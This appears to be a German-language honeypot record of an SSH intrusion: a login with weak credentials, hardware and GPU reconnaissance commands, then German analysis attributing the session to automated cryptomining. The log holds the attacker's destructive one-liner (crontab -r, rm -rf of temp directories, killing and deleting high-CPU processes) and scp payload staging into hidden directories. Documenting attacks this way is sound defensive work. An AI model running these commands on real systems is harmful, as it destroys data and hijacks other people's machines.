10.10.2026, 06:19 UTC · 21 Befehle · über ssh · Niederlande
user='jfedu1' pass='qwerty' jfedu1@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 jfedu1@srv01:~$ uname -m | awk '{printf $1}' x86_64 jfedu1@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 261 days, 00:00 jfedu1@srv01:~$ lspci | egrep VGA && lspci | grep 3D 01:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 01:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) jfedu1@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- AMD EPYC 7443P 24-Core Processor jfedu1@srv01:~$ curl ipinfo.io/org Cloudflare, Inc. jfedu1@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 4 jfedu1@srv01:~$ nvidia-smi -q | grep "Product Name" Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 jfedu1@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 jfedu1@srv01:~$ uname -n | awk '{printf $1}' ml-node2 jfedu1@srv01:~$ uname -r | awk '{printf $1}' 5.15.0-88-generic jfedu1@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… crontab: no crontab for Admin rm: cannot remove '/var/tmp/.': Permission denied rm: cannot remove '/var/tmp/..': Permission denied rm: cannot remove '/tmp/.': Permission denied rm: cannot remove '/tmp/..': Permission denied jfedu1@srv01:~$ echo qwerty > /tmp/d.log jfedu1@srv01:~$ scp -qt "/var/tmp/FTvKjJDc" jfedu1@srv01:~$ scp -qt "/tmp/FTvKjJDc" jfedu1@srv01:~$ scp -qt "/dev/shm/FTvKjJDc" jfedu1@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 jfedu1@srv01:~$ echo UBUNTU > /tmp/d.log jfedu1@srv01:~$ scp -qt "/var/tmp/SxfveQQf" jfedu1@srv01:~$ scp -qt "/tmp/SxfveQQf" jfedu1@srv01:~$ scp -qt "/dev/shm/SxfveQQf"
Der Angreifer meldete sich mit schwachen Zugangsdaten über SSH an und führte eine Reihe von Systemabfragen durch, um die Hardwarekonfiguration zu ermitteln. Anschließend löschte er temporäre Dateien und beendete Prozesse mit hoher CPU- oder Speichernutzung, um Ressourcen freizumachen. Abschließend versuchte er, Dateien in verschiedene temporäre Verzeichnisse zu kopieren, was auf den Upload von Schadsoftware hindeutet.
Die Befehle uname, lscpu und lspci dienen der Erkennung von Betriebssystem, CPU-Modell und Grafikkarten, wobei nvidia-smi spezifisch nach NVIDIA-GPUs sucht. Der Befehl crontab -r löscht geplante Aufgaben, während rm -rf temporäre Dateien entfernt, um Spuren zu verwischen oder Platz zu schaffen. Die awk-Schleife identifiziert Prozesse mit über 40 Prozent CPU- oder 60 Prozent Speichernutzung und beendet diese gewaltsam, um Rechenleistung für den Angreifer freizumachen. Die scp-Befehle versuchen, Dateien in versteckte Ordner wie /var/tmp oder /dev/shm zu übertragen, was typisch für die Platzierung von Malware ist.
Das primäre Ziel ist höchstwahrscheinlich Kryptomining, da der Angreifer gezielt nach NVIDIA-Grafikkarten suchte und rechenintensive Prozesse eliminierte. Die Abfrage der Organisation via curl dient vermutlich der Identifikation des Opfers oder der Ausspähung von Metadaten. Das Kopieren von Dateien in versteckte Verzeichnisse deutet auf die Installation eines Miners oder einer Backdoor hin.
Dieses Muster ist sehr verbreitet und folgt einem standardisierten Skript für automatisierte Kryptomining-Angriffe auf Linux-Server mit GPU-Unterstützung.